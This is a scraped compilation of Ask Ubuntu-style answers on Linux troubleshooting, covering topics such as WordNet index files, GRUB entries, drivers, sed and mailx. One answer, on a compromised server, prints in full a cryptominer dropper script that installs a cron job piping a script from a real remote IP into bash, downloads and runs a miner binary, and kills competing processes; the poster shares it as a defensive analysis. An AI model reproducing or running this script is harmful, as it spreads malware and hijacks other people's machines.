Which package contains a word database or dictionary with part of speech information?

Alright, I found one:

wordnet which installs four files /usr/share/wordnet/index.adj, /usr/share/wordnet/index.adv, /usr/share/wordnet/index.noun and /usr/share/wordnet/index.verb for adjectives, adverbs, nouns and verbs, respectively.

The documentation at https://wordnet.princeton.edu/documentation/wndb5wn explains the file format:

  Index File Format

  Each index file begins with several lines containing a copyright notice, version number, and license agreement. These lines all begin with two spaces and the line number so they do not interfere with the binary search algorithm that is used to look up entries in the index files. All other lines are in the following format. In the field descriptions, number always refers to a decimal integer unless otherwise defined.

  lemma  pos  synset_cnt  p_cnt  [ptr_symbol...]  sense_cnt  tagsense_cnt   synset_offset  [synset_offset...]

  (...)


Copy pictures from Ubuntu Phone to desktop computer

The file extension should not influence whether you can copy or not.

.sci seems to be an obscure graphics file format. Try installing XNViewMP and browsing the files with that.


Can I have back right/middle-click maximise for horizontal/vertical maximise?

Nope, but you can:

double-click title bar to maximise horizontally
middle-click title bar to maximise vertically

Can't be totally sure this isn't something fiddly/hacky I've done in the past, but it works for me!

EDIT: Yes, it was something fiddly: install "Advanced Settings" and then in the Windows bit you can select from a few options of what happens when you click in various ways on the title bars.


server compromised - ./sysd -c apache.cf -t 1 eating all memmory

Take a closer look at the curl cronjob.

It executes a bash command and the name of the bash script is logo11.jpg.

curl -s http://136.144.175.206:4477/2/logo11.jpg | bash -s

This is just a very cheap trick and not very sophisticated. If you put the command in another order and download the file, the command would look something like this:

PLEASE DO BE CAREUL, DONT DOWNLOAD THE FILE AND EXECUTE. THIS IS INFORMATIONAL

bash -s logo11.jpg

So don't be fooled by the ending .jpg. It ain't a jpg, it's just a plain text file with the follwowing commands.

Onvce it is in your cron, bash will simply execute this "Text"-File which is actually a small bash script. Easy, huh?

#!/bin/sh
pkill -f suppoie
pkill -f vlqd
ps aux | grep -vw apache | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
rm -rf /dev/shm/jboss
ps -fe|grep -w syslogs |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
crontab -r || true && \
echo "* * * * * curl -s http://136.144.175.206:4477/2/logo11.jpg | bash -s" >> /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true && \
curl -o /var/tmp/sysd http://136.144.175.206:4477/2/sysd
curl -o /var/tmp/apache.cf http://136.144.175.206:4477/2/null.cf
chmod 777 /var/tmp/sysd
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./sysd -c apache.cf -t `echo $cores` >/dev/null &
fi
sleep 3
echo "running....."

FYI - I emailed the ISP to take a look at this, the ip is still alive and the file still downloadable. It's the decent thing to do and that's why I'm writing this. A few lines can help a fellow admin.


Webcam not detected in cheese, also not listed in lsusb

Uninstall cheese and config files:

sudo apt-get --purge remove cheese

Reinstall cheese:

sudo apt-get install cheese

Reboot your computer

This works perfectly for a Dell Notebook using Ubuntu 16.04


Updating from such a repository can't be done securely

You have two problems.

First, you have a PPA that is 404ing, which means it doesn't support Disco.  You need to disable that (it's the GNOME3 team's GNOME3 PPA).

Secondly, the mirror on lt.archive.ubuntu.com at 193.219.61.87 (IPv4) and 2001:778::87 (IPv6) might be having problems. *

You may wish to change your mirrors in /etc/apt/sources.list temporarily to use archive.ubuntu.com - the central Archive mirror - to get your updates for now.

* NOTE: I'm going to send this to the Mirrors Team for them to look at, but given this is a holiday weekend there may not be rapid movement on this.  This has been filed in Ubuntu's RT tickets system as #33540


RedisLabs Enterprise Cluster stopping the service

Nothing in the official documents from RedisLab. Found this link

Deleted the directory

rm -rf /var/opt/redislabs/persist

and then using ps -aux | grep redis
found out all the processes like RedisManager and others and then killed them using

kill -9 <pid>

Not very clean way but it at least bring down the CPU levels in control. After restart some of the processes are back again. It seems if i don't get a more graceful way of shutting down RLEC...better to uninstall it.

Finally purging it

apt-get purge redis*
rm -rf /etc/opt/redislabs/

And this seems to be the only way to control it sadly.

Got some communications from Redis team and according to them , one should use the following commands to stop it:

cd /opt/redislabs/bin/
sudo cnm_ctl stop
sudo redis_ctl stop –all
sudo dmcproxy stop


It seems Apache, and other web server platforms, automatically start with the computer without logging in. Configuring automatic login is unnecessary for this situation.


Brian Z's comment is a good suggestion. Indeed, using the a command in sed will append a string after the match.
However, if you directly use the string in your question as the matching string, you will find that nothing will happen. The problem is the * character inside your string, which should be escaped, since sed uses this character for regex match. In sed you can escape a character by using a backslash (\)  in front of it. You can find some more info about the characters that should be escaped in this U&L question.
So, the sed command you need to run in order to append a string newstring in a file called file.txt after matching your string is (notice the escaped *):
sed -i -e '/set_config_object("m_lin_1_pad_agent\*","io_agent_config",m_lin_1_pad_agent_cfg,0);/ a newstring' file.txt

In the above command -i is used to change the file in place. If you want to preview the changes first and ensure that the command works as it should, run the command without the -i flag.


Skype installed or not installed, that is the question

It seems to be a bug. Try to install the package of Synaptic, search the word skype, then uninstall everything relative to it. Finally try to install it again from Software Center and see what happens.


Why does fusion icon not work in Ubuntu 12.04

I've just come accross this myself. It is my understanding that the Unity panel's behaviour is not the same as the old gnome panel. It shows only applet/indicators not a full notification tray. My work around is to use Cairo-Dock compiz/window manager switcher. That is until someone turns fusion-icon into an indicator/applet (if ever).


Wake on LAN working in Windows, but not in Ubuntu 16.04

I found the solution
The problem arises because of an error in the sky2 NIC driver that apparently has been around some years.
It can be solved using the setpci method described in a comment on this article:

I have a Shuttle device with Marvell Technology Group Ltd. 88E8056 PCI-E Gigabit Ethernet Controller (rev 12). I have been running Ubuntu 10.04 LTS and XBMC, with the Sky2 driver v1.25. WOL running just fine in this setup.
I recently had to upgrade to 12.04 LTS as part of another story, and run into the WOL problem not working anymore with Sky2 v1.30
The Sky2 driver fails because of parameter handling of Y2_HW_WOL_ON and Y2_HW_WOL_OFF and the register writes, during the sky2_wol_init function.
I am by no means a Linux developer, but using a combination of lspci and setpci commands, I sniffed out the registers in the Marvell device that were set by the driver v1.25 and the driver v1.30, and now set the register manually with setpci when running the v1.30 driver. Wakeonlan works again with 12.04 LTS and v1.30 driver without any recompiling!
The register (in my system) is at 0x41, and needs its value setting to 0x80. My Marvell chip is on the PCI bus at 02:00.0, found using lspci.
I added this command in the same startup script used to run the ethtool sequence:
setpci -s 02:00 41.b=80

So, a nasty hack, but works fine. I would fix the sky2.c driver if I knew how to build a kernel driver on my system…

It worked even though I do not have the same controller as the poster.


The kernel gives no guarantee that these devices will retain the same device node names (ie, sda, sdb, etc) when the machine is booted. The names depend on the order in which the devices are discovered, which can be arbitrary.

This is exactly why we use the UUID and/or labels where possible. If you want to reference a specific disk, the symlinks in /dev/disk/by-* might be useful for you.


You could try changing the server that you attempt to connect to for Multiverse (and other) updates.

Open Synaptic Package Manager and click on Settings > Repositories, then in the dropdown selection that is labeled "Download From:" choose Other.  Click the "Select Best Server" button, and after it has run some speed tests and chosen one for you, click "OK" or "Choose Server."

Update your package lists -- either click Reload in Synaptic, or in terminal type

sudo apt-get update

Hopefully this will allow you to grab new Multiverse updates!


Simply Remove the boot entry from windows 7
and reinstall ubuntu using wubi.

read the following article
http://www.howtogeek.com/howto/17903/remove-ubuntu-or-xp-from-the-windows-7-boot-menu/


I had same experience trying USB install on a number of machines. I burnt the ISO to CD and installed perfectly. You need to fix grub using something like supergrub2 disk from http://www.supergrubdisk.org/  or install from CD


What application is sending notification?

The newest Spotify release has inbuilt notifications. You don't need spotify-notify anymore.


Any way to make switching between discrete and integrated graphics from the BIOS work with proprietary drivers?

I haven't tried this with an AMD adapter, but your issue is common to integrated vs. discrete Nvidia graphics setups as well (tested on a Lenovo Thinkpad T510s).

Under normal circumstances, an open source graphics driver is automatically selected by the X server during boot based upon your adapter selection in BIOS -- integrated vs. discrete.

When enabling proprietary drivers while the discrete adapter is in use, an Xorg configuration file is created in /etc/X11/xorg.conf in order to explicitly tell the X server to use the proprietary driver.  While this configuration file exists, X will use the driver specified in it rather than auto-detecting your hardware setup.  You can see how this would be problematic when you switch back to your integrated graphics adapter; the AMD/Nvidia proprietary driver is still specified in the xorg.conf file.

The way to safely revert back to your integrated graphics adapter is to delete the xorg.conf file:

$ sudo rm /etc/X11/xorg.conf

Alternately, you may rename the file such that it can no longer be found by X:

$ sudo mv /etc/X11/xorg.conf /etc/X11/xorg.conf.backup

On your next boot, when no xorg.conf file is detected, the X system will again auto-detect your hardware configuration and load the appropriate open source driver.


tons of problem, Fill_in_dev failed, black screen

It seems that your OS (Ubuntu 13.10) has been badly modified and resulted in kernel panic. When i experience the same thing as yours, I reinstall it again using my liveUSB and my extracted .iso in it. Did you install Ubuntu via wubi? else you can just delete it into the Windows directory.


How can I download or install all of the dictionaries?

Unfortunately, the various packages (e.g. wcatalan, wbritish-large wbritish-small, …) don't follow a pattern so

 apt-get install words-\*

or similar will not work. Typing /usr/share/dict into the search box of Software Center appears to yield all the wordlists, but I don't know if that is exhaustive.

If you want spell checking without the wordlists,

 sudo apt-get install aspell-\*

will pull in the (larger set) of spell checkers which work on a larger set of languages but cannot yield the wordlist used to compile them.

Be forewarned, given the way the wordlists were generated (cf. Steve Johnson CACM v28 1985) from words and proper nouns actually encountered in documents, the extra words might not be obviously jargon or proper to a non-native speaker)


juju local error ERROR could not connect before timeout

I got similar behavior. I have nodes ready in MAAS and a "juju bootstrap" command succeeds. When I try to do any "juju -v deploy" or "juju -v status" an error is shown saying that a connection was refused. It kept retrying to connect to zookeeper on all kinds of different ports. It took probably about 5-7 minutes of waiting, but the status command finally succeeded. Now any subsequest status or deploy commands will work. Here is the output of "juju -v status" if it helps anyone. You'll notice the first time takes a long time, but the second one comes right up.

http://pastebin.com/jhvgDYK0


The autoremoval of kernels in Ubuntu are controlled by the /etc/kernel/postinst.d/apt-auto-removal file. If the package is not marked for hold, than it should keep the last two versions and the newer ones. This means that you have to run the lastest version to can remove the older ones.

After you rebooted the latest kernel, issue the command:

sudo apt-get autoremove

If it doesn't help, you can alway fallback to this command:

dpkg -l linux-* | awk '/^ii/{ print $2}' | grep -v -e `uname -r | cut -f1,2 -d"-"` | grep -e [0-9] | grep -E "(image|headers)" | xargs sudo apt-get -y purge


Will I get notifications for updates for packages in backport?

If you have the backport sources check marked in your "Software and Updates", and you have enabled "Automatically check for updates" for a fixed period of time, you will be notified of updates to the packages in the backport sources:

If you have your backport sources enabled but have set "Automatic check for updates" to "Never" you won't get notifications but can update using

sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade

on a terminal or using the "Software updater" package.

Otherwise, if you have not enabled the backport sources, you will neither get notifications nor updates to those packages.


The functionality of right click can perhaps be achieved by a two finger tap and that of left click by a one finger tap. I hope this helps. I'm not sure which version of Ubuntu you are talking about, but the above feature is in Ubuntu 18.04.


Your 7zip file is in folder/.7z. The output of the command tells you: Creating archive: folder/.7z. You didn't specify a filename so it made the file without one. Just an extension. I'd recommend using the command find if you have problems locating files. Take a look at my example, I've recreated your scenario below.

root@myputer:~/test# mkdir folder/
root@myputer:~/test# p7zip folder/

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i5-4590 CPU @ 3.30GHz (306C3),ASM,AES-NI)

Scanning the drive: 1 folder, 0 files, 0 bytes

Creating archive: folder/.7z

Items to compress: 1

   Files read from disk: 0
   Archive size: 90 bytes (1 KiB)
   Everything is Ok

root@myputer:~/test# find folder
folder folder/.7z

root@myputer:~/test# cd folder/
root@myputer:~/test/folder# ll
total 12
drwxr-xr-x 2 root    root    4096 Oct 16 16:34 ./
drwxrwxr-x 3 me      me      4096 Oct 16 16:33 ../
-rw-r--r-- 1 root    root      90 Oct 16 16:34 .7z

There is your file .7z.


Have you tried setting up your config file on the host as shown in the synergy docs?

Name the text file ".synergy.conf" in your host home folder.

Something like this:

section: screens
    work-macbook:
    work-laptop:
end

section: links
    work-macbook:
        left =      work-laptop
    work-laptop:
        right =     work-macbook
end

Then run "synergys" on the host and I believe it's "synergyc -a [address]" on the client.
You can run synergyc with the -f option to make it run in the foreground, that might tell you something about why it's not working.


There's a link for working on black screen at My computer boots to a black screen, what options do I have to fix it?.  You may need to remove the proprietary drivers, and a good link for that is at How do I remove the proprietary ATI drivers?


Please, tell me how can I stop the battery of being used by the computer completely.

There is no method for that from within Ubuntu: a battery creates a loop between the power source and the motherboard so it is all hardware. You will need to physically remove the battery from the system.

  Should I remove the drivers of the battery

Batteries do not have drivers. Anything inside Ubuntu is used for analytics purposes (percentages, life span, etc)

One extra remark: make sure the power cord is attached to the system with some tape; if the connector is as fickle as what I have now it will kill your system if is disconnects.


Can I recover Windows files from a dual-boot (Ubuntu 16.04 and Windows 10) overwritten by Ubuntu?

Actually I discovered by myself that restoring previous partitions with TestDisk is impossible in my situation. Nevertheless, I still had the possibility to save all my data thanks to PhotoRec, which puts any possible disk file in a chosen directory (in my case, a 2 TB external hard disk), even if not sorted by folders, because this program checks linearly in the disk any possible file with a proper extension (.png, .jpg, .txt...).
This link below is a great tutorial about how to use PhotoRec:
http://www.cgsecurity.org/wiki/PhotoRec_Step_By_Step#Select_where_recovered_files_should_be_written


How to Reduce Buffer Bloat on an Ubuntu Based Router

The sqm-scripts for configuring fq_codel right work just fine on ubuntu to control bufferbloat.

https://github.com/tohojo/sqm-scripts

You can also do an out of tree build of cake, which is mildly easier to configure.


The largest condition is the version you're running. If your kernel still newer than the latest version in Ubuntu — eg you installed 3.6 before upgrading to Precise, and it's packaged in a similar way to Ubuntu's kernels — you'll stay on your custom version.

If you installed a custom version of 3.0, or whatever was running on 12.04, and you hadn't done anything special with the versioning, grub will likely rank the newer kernels higher. That's just how it works.

Whatever happens, the upgrade shouldn't remove your custom kernel. It should still be available in grub and you can remove the newer ones after (if you want to keep using your older one).

Note: it's not recommended to stick with an old version of the kernel without applying security updates. If you're going to run an ancient version, make sure you're applying patches and recompiling the kernel on a regular basis to remain safe.


How can I install applications (with apt-get) to an external disk?

I don't know of any way to get apt-get to install to external memory. The individual symlink seems the best way to go, although a bit tedious(maybe you could write a bash script to do this for you?). As for the format, I would recommend ext4, but definitely not NTFS or FAT, those give bad performance and even sometimes read/write errors in linux.


How to find out where iptables rules come from?

Generally iptables rules are saved or loaded by scripts residing in /etc/init.d.  Assuming the scripts are using the typical iptables-save and iptables-restore commands, you could search for them with a recursive grep, for example:

grep -R iptables-restore /etc/init.d/

If the grep command output reveals any files, you can see what package was responsible for placing those files on the system.

dpkg-query -S file-name-result-of-grep

There is a chance that the file was either generated at install time or created by a regular user, if that's the case, then dpkg may not know about the file.

If the single-package-name terse output from dpkg isn't descriptive enough, you can apt-cache show package-name on the name of the package provided by dpkg.


How can I change the Terminal prompt to something simple?

You could put PS1='\w> ' in your ~/.bashrc.

It will look like this:

~>

when you are in your home directory, and

/usr/bin>

when you are in /usr/bin.

There are four different time formats you can have:

\t - 24-hour HH:MM:SS
\T - 12-hour HH:MM:SS
\A - 24-hour HH:MM (i.e. no seconds)
\@ - 12-hour HH:MM

so for example:

PS1='\A \w> '

would give you something like:

10:14 ~>

See Controlling the Prompt for a list of all the different backslash sequences you can use.

If you can't find one you like, you can also add the output of any command to your prompt, e.g.

PS1='$(date +"%H:%M") $(echo $PWD)> '

would do basically the same as above, but using commands rather than backslash sequences.

Finally, note that the quotes and spaces are important.  The easiest way to get PS1='\A \w> ' as your prompt is to run this:

echo "PS1='\A \w> '" >> ~/.bashrc


How do I customize GRUB2 entries for other operating systems?

To add custom entries, the file you should edit is /etc/grub.d/40_custom.

The options are the same as in grub.cfg, but just in case here is a link with more info how to customize the file.


Is there a command to install basic applications on Ubuntu 16.04?

Is creating a script to grab what you want beyond you?

You should only grab the bare minimum set of tools you need, so it's better to create your own minimal set than use a predefined set created by someone else (it'll likely contain packages you don't need)

As @Rinzwind said in comments, your script may also include the removal of default installed packages you don't need (ie. to help achieve the minimal packages your system actually needs).


Add volume control to desktop panel indicator?

You want the the option from the list to add an "Indicator Applet".

This is because from Ubuntu 10.04 there has been a push for panel items to use a new system for panel items.

If adding the "Indicator Applet" appears to make no difference, you should try to install the package indicator-sound which contains the sound indicator.


“no public key available” on apt-get update

Because the error was reduced based on the OP's previous response -- the following link should help: https://askubuntu.com/a/650051/382121 - Let us know if this resolves your issue Sandeep Chatterjee


Try uninstalling Google Chrome sudo apt remove --purge google-chrome-stable. When Google Chrome has been'uninstalled, download a new Google Chrome .deb file. The next step is to move the newly downloaded .deb file into your home directory. Now open up a terminal and type sudo apt install ./[NAME-OF-THE-DEB-FILE].


I was able to recreate this issue. While I don't know why there's a difference between read and read -n1, adding a simple delay before the key made it work. My guess is that there isn't enough time after the window switches for it to register the keypress.

#!/bin/bash
gedit -s &
GEDPID=$!
sleep 2s
GEDWINID=`xdotool search --pid $GEDPID | tail -1`
echo "press any keys"
read -n1 i
xdotool sleep 0.1 windowactivate --sync $GEDWINID key --clearmodifiers --delay 100 "$i" && wmctrl -a Terminal


How do I load the tp_smapi kernel module on a Lenovo Easypad?

I believe you have an Ideapad Z580 rather than an Easypad (which seems not to exist).

Steps are correct

All seems to be installed and enabled well. You've installed the correct DKMS package (tp-smapi-dkms) and you're modprobe'ing correct.

tp_smapi is for real Thinkpads only

Not for Ideapads. And not even all Thinkpads are supported. See this page on Thinkwiki.org which models are supported. It doesn't even mention any Ideapad there.

From the same Thinkwiki.org page:

  The ThinkPad SL series and IdeaPad series have firmware that is completely different from other ThinkPad models. Neither tp_smapi nor thinkpad-acpi support these models.

These are consumer-grade notebooks, from the original Lenovo line. The supported Thinkpads are more of the original IBM-line of machines with a completely different design in hardware. The component that's key here is the embedded hardware controller for this unique power controlling feature. As far as I know, only the business-line of Thinkpads still feature this today.

Short history: Lenovo bought IBM's Thinkpad line of machines in 2005, but even till today the machines between the Thinkpad T/X/W series can't be compared to the consumer-grade machines in terms of compatibility (and quality).

Bottom line: you can't do this on your device.


How to install Qt version 4.8.1 in Kubuntu 14.04

You will have to first  download the source from  here for qt 4.8.1.
Then open a terminal(Ctrl+Alt+T) and goto the path where you have download the file.

Install the required dependencies

sudo apt-get install build-essential checkinstall

Then extract the file using

tar -xvzf qt-everywhere-opensource-src-4.8.1.tar.gz

Then goto the extracted folder using

cd qt-everywhere-opensource-src-4.8.1

and run

./configure
make
sudo checkinstall

This will make a .deb of the source you can install as a normal application via apt

sudo dpkg -i path/to/output.deb

Change path/to/output.deb to the path of the created .deb file.


Error while installing ruby on Windows Subsystem for Linux

I had installed Ubuntu 18.04 and there was not no package ruby2.4 ruby2.4-dev for Ubuntu 18.04 at packages.ubuntu.com so, I have updated my command to as follows to install ruby2.5 ruby2.5-dev

sudo apt-get install ruby2.5 ruby2.5-dev build-essential dh-autoreconf


You need to disable Fast Boot in Windows
http://www.eightforums.com/tutorials/6320-fast-startup-turn-off-windows-8-a.html


Try this link it teaches you how to dual boot between ubuntu and windows 8


sftp user can't see files, what is the right permission

Based on what you have described, i.e.

  directories is set with permission of the owner to be rwx and group is rw

if this has been applied to the /var/www/html directory and everything underneath it, your sftp user can't cd into any of the directories because they belong to the www-data group which only has rw permissions.
Try giving the www-data group rwx permissions.

sudo chmod -vR 775 /var/www/html


Am I expected to install sendmail in order to use heirloom-mailx?

No, but you need a mail service. hierloom-mailx can be set up to use SMTP:

  Supports SMTP to send messages directly to a remote server. A local sendmail interface setup is thus not necessary. In combination with OpenSSL or NSS, both the STARTTLS method and SMTPS can be used. SMTP AUTH is also supported.

You will need to configure heirloom-mailx though.

Using SMTP

mailx -v -s "$EMAIL_SUBJECT" \
-S smtp=smtp://smtp.server.com
-S from="$FROM_EMAIL_ADDRESS($FRIENDLY_NAME)" \
$TO_EMAIL_ADDRESS

Using gmail:

mailx -v -s "$EMAIL_SUBJECT" \
-S smtp-use-starttls \
-S ssl-verify=ignore \
-S smtp-auth=login \
-S smtp=smtp://smtp.gmail.com:587 \
-S from="$FROM_EMAIL_ADDRESS($FRIENDLY_NAME)" \
-S smtp-auth-user=$FROM_EMAIL_ADDRESS \
-S smtp-auth-password=$EMAIL_ACCOUNT_PASSWORD \
-S ssl-verify=ignore \
-S nss-config-dir=~/.mozilla/firefox/xxxxxxxx.default/ \
$TO_EMAIL_ADDRESS

Source


I will hate my answer since I always tend to tell people to use Ubuntu and give a chance (Either adapting to the new ways of using it or checking if the benefits it offers over Windows outweigh the amount of problems they face on a daily basis with Windows)

LIVECD
Assuming you install Ubuntu using the LiveCD (not Wubi), the fastest way is to use the Windows 7 CD/DVD. Boot from it and select "Repair your computer". Then from a repair prompt execute the following line to replace the Grub bootloader: bootrec /fixmbr

That will eliminate the bootable part of GRUB and reinstall the Windows 7 Boot way. After that you will have to remove the Ubuntu partition or partitions created with it. You can later merge them with Windows or install Ubuntu in case you feel you made a mistake ^^.

WUBI
Go to Control Panel, Uninstall a program (Vista/7) or Add/remove programs (XP), and double-click on the Ubuntu entry to automatically uninstall. Reference.

If this does not work, or for more information about Wubi uninstallation (or general Wubi information), follow the instructions to manually remove Wubi

In any case I would give Ubuntu a chance, at least a 1 week test drive. Of course, remember to update everything since 12.04 has many changes that need updates after a fresh installation. I could mention the MANY benefits of using Ubuntu but I leave it to you to feel the force.

Luring Link - Benefits of Ubuntu - Google Search (Feel the force)


To repair the file system in its current state run the commands suggested in the preceding error message until you find one that works:

e2fsck -b 8193 /dev/sda7
e2fsck -b 32768 /dev/sda7

If neither works please edit your question to explain what you did and what happened exactly.

If either command works and if this error keeps reoccurring each time after you boot Windows I suggest you open a new question about it.


This is a bug in the pssh program which is just a collection of a python scripts. These scripts resort to parsing the ssh program output to interface with it.

One way to get it working is to fix it yourself.
dpkg -L pssh will list all the files installed with the pssh package.
askpass_client.py is the file that needs modification.
Line 67 is

if not prompt.strip().lower().endswith('password:'):

and should be:

if not ( prompt.strip().lower().endswith('password:') or 'enter passphrase for key' in prompt.strip().lower()):

Then the command

parallel-ssh  -A -i -H "me@my.server.home" -x "-i ~/.ssh/my_key"  'echo fu'

will work.


Mongodb installation issue on ubuntu 14.04

The Upstart task description file /etc/init.d/mongod seems to be missing. Since the package is about to be removed anyway you can (probably) simply provide an empty description as a placeholder to complete the package removal:

sudo touch /etc/init.d/mongod
sudo apt install -f


Can't install driver for AL500AC on Ubuntu 14.04

I think the steps should be:

sudo apt-get install linux-headers-generic build-essential git
git clone https://github.com/gnab/rtl8812au.git
cd rtl8812au
make
sudo make install
sudo modprobe 8812au

If you encounter errors, please post them; warnings are probably alright.


Printer (Epson Stylus Photo RX620) not working after upgrade to 12.04

I had this problem with my R300. Here's what I did to fix it:

Turn off printer.
Delete printer from printing dialog.
Turn on printer.
Add new printer in printing dialog

I hope this works for you!


The hand/pointer mouse cursor changed after a snap refresh. How do I change it back?

Install gnome-tweaks by:
sudo apt install gnome-tweaks

and then go into appearance to change the cursor back to normal (yaru)
if it doesn't work try logging out and in again


Is it even installed on your system?
You can install UFW with
sudo apt install ufw

You can get help with UFw with
ufw --help

You can download UFW directly from the ubuntu software center:

But, above all else, you can set paramenters for UFW using the GUI by installing Firewall Configuration tool from the ubuntu software center.

reference


How can I find which command is bound to a given keyboard shortcut?

No, there's no central place.  Any application can grab certain keys and use them as shortcuts, and it's up to that application to choose a configuration method.  GNOME applications typically use gconf.  Compiz and Metacity even share the gconf keys -- those are the shortcuts you can see in gnome-keybinding-properties.


ement05,
cron does not seem to be your problem here but anacron -> https://en.wikipedia.org/wiki/Anacron <- It's anacron that runs your scripts in /etc/cron.hourly, /etc/cron.daily etc. Maybe check webmin for it? And take a look at your /etc/crontab. If I'm right it should be quite empty.
BUT: Afaik, Ubuntu doesn't support webmin anymore and shouldn't be used as it may corrupt system files -> https://wiki.ubuntuusers.de/Archiv/Webmin/ <- (last update: Oct 19th, 2019). You may wanna check for its compatibility again.
Best,
Sebastian


I've written a small script to work around the issue, just follow the commented instructions.


can't play videos in totem - error says that we're missing plugins that should not be missing

VLC

This would allow you to watch videos and listen to music but doesn't fix a very serious problem with totem & gstreamer:

rm -r ~/.cache/gstreamer-1.0

This is overkill, actually intended to remove ~/.cache/gstreamer-1.0/registry.[cpu_arch].bin

But it's harmless. It just removes cache files that will be regenerated as soon as you use gstreamer again (in totem or whatever). The idea is that your cache may somehow be corrupt and pointing to the plugins in the wrong place. There are no theories as to how this can happen or why this fix works, but it works for some people.

Not for me :)


Davinci Resolve 16 won't start in Ubuntu 18.04

Did you do it along these lines?

Installed the packages libssl1.0.0, ocl-icd-opencl-dev, fakeroot and xorriso (the first two packages are needed for running DaVinci Resolve and the last 2 packages for generating the deb).

sudo apt install libssl1.0.0 ocl-icd-opencl-dev fakeroot xorriso
Download the latest DaVinci Resolve 16 for Linux and extract it in your home folder (scroll down to the end of the page for the download button).
Download The MakeResolveDeb script (http://www.danieltufvesson.com/makeresolvedeb) and extract it in the same folder where you extracted DaVinci Resolve 16.

Make sure the DaVinci Resolve and the MakeResolveDeb script are the exact same version.
Make sure both the DaVinci Resolve and the MakeResolveDeb scripts (the extracted .sh files) are in the same folder.

Run the MakeResolveDeb script to create the DaVinci Resolve 16.

Assuming you've extracted DaVinci Resolve in your home folder and placed the MakeResolveDeb script in the same folder as DaVinci Resolve, you can create the deb by using these commands:

cd ~/DaVinci_Resolve*_Linux
./makeresolvedeb*.sh lite
"*" is in the commands because of the version changes, so check the version.
The lite option in command is for the regular, free DaVinci Resolve 16.

Accept the DaVinci Resolve license typing y and press Enter

Now you can hopefully install the DaVinci Resolve 16 or 15.3 deb using Software or Gdebi (and launch).


Ubuntu 14.04 live disk only starts up with acpi=off

I have the same problem with a desktop pc. In my case the option "noapic" instead of acpi=off solves the problem of the low resolution but it creates a problem of (very very) slow internet connection.


unable to find a live medium containing a live file system

First of all, make sure that your Ubuntu installation media is not corrupted. If the ISO file is corrupted, then the LiveDVD is corrupted as well. If only the LiveDVD is corrupted, you must burn the ISO file into another blank DVD once again.

You can check both file integrity and authenticity via SHA256SUM. The ISO checksum for the Ubuntu distribution you are trying to install must match the one given by Ubuntu official site. The same applies to your LiveDVD. Since you`re using Windows 10, you should download an application which is capable of making SHA256 sum. (Raymond’s MD5 & SHA Checksum Utility, for example)

If everything matches the official information, then it`s not a problem with the media itself, and you should try another fix.

Make sure CD/DVD boot is enabled in your BIOS settings. If your Windows installation uses UEFI boot mode, you must install Ubuntu in UEFI mode as well. See Ubuntu UEFI Installation Guide. If your current Operational System uses UEFI and you intend to dual boot, booting Ubuntu with the traditional BIOS mode will yield to compatibility problems with your hard disk drive.

And finally, check if your processor supports x64 architecture (64-Bit). If it doesn`t, you must not use a x64 Ubuntu installation. Instead, use a x86 one (32-Bit). See also Error when installing: “unable to find a medium containing a live file system”, there should be useful additional information on this topic.

Edit: Note that your ISO file checksum matches the correct SHA256 and MD5 value from the official site. This indicates that your ISO is not corrupted. I would say you should try to use another DVD Burner program, or even check if the same occurs on a Laptop/PC in which you successfully installed Ubuntu by using the same LiveDVD. If the problem persists, it's likely to be a hardware issue/incompatibility.


Pass variables to script which called script

Executing a script cannot affect the shell that called it, since the script runs in its own shell. To affect the calling shell, you need to source the script:

$ help source
source: source filename [arguments]
    Execute commands from a file in the current shell.

    Read and execute commands from FILENAME in the current shell.  The
    entries in $PATH are used to find the directory containing FILENAME.
    If any ARGUMENTS are supplied, they become the positional parameters
    when FILENAME is executed.

Hence, the line where you execute the configuration file should be changed to source it:

#!/bin/bash
source ${HOME}/.ssconfig
echo "Hello, ${VARIABLE}!"

Note that source is a shell command, so the help for it is not in man source, but help source.


Intel 9260 really slow under Ubuntu distros

I would open terminal and do
sudo sed -i 's/wifi.powersave = 3/wifi.powersave = 2/' /etc/NetworkManager/conf.d/default-wifi-powersave-on.conf
systemctl restart network-manager.service

See if it is faster when network manager isn't able to activate wifi power management


sudo apt update Erros — W: Possible missing firmware /lib/firmware/nvidia/gv100/sec2/sig.bin for module nouveau

Reason:Missing firmware warnings during update - Nvidia, nouveau
sudo find / -name "scrubber.bin"
sudo find / -name "sig.bin"
sudo find / -name "sw_method_init.bin"
sudo find / -name "ucode_unload.bin"

Step 1: Query the computer if these firmware exists, but the firmware file directory error, should be gv100 directory, is now in the gp100 gp107 directory
/lib/firmware/nvidia/gp100  /lib/firmware/nvidia/gp107
sudo mkdir /lib/firmware/nvidia/gv100
cd /lib/firmware/nvidia/gp100
sudo cp -r  acr/ gr/ ../gv100/
cd ../gp107
sudo cp -r  sec2/ nvdec/ ../gv100/

again run sudo apt update. No more errors occurred.


There is an open issue about this:

https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1508146

A solution that worked for me was to run:

  sudo kbd_mode -s


I was able to fix this by removing ~/.Xauthority.

Specifically, I ran:

  sudo mv ~/.Xauthority ~/.Xauthority.old

Just to keep it around in case it didn't work. It did work, though!


juju can't run wordpress on a local machine and agent-state is pending?

It seems that a previous local provider instance did not get destroyed properly.

You can destroy the current one with:

# If using juju 1.17.x
juju destroy-environment -y local
# If using juju 1.16.x
juju destroy-environment -y -e local

And then look at the current lxc images:

sudo lxc-ls --fancy

Any that start with "onrea-local" will be ones that juju things it created.

You can remove them with:

sudo lxc-destroy -n onrea-local-machine-1

And so on.

This is a limitation of the local provider, and one what we are looking to fix very soon (the clean destruction that is).


Unity launcher,top panel,Dash and title bar disappeared

I should perhaps be saying this in a comment, but I don't have enough points.

That happened to me one time, and I think it was because I uninstalled COMPIZ. Did you do it as well?


Ubuntu 18.04 Live boot leads to blank screen

So after much googling, I got the solution. It was very simple to fix that issue. It is about nomodeset.

When the USB/CD boots press E on grub menu it will lead to edit the grub.
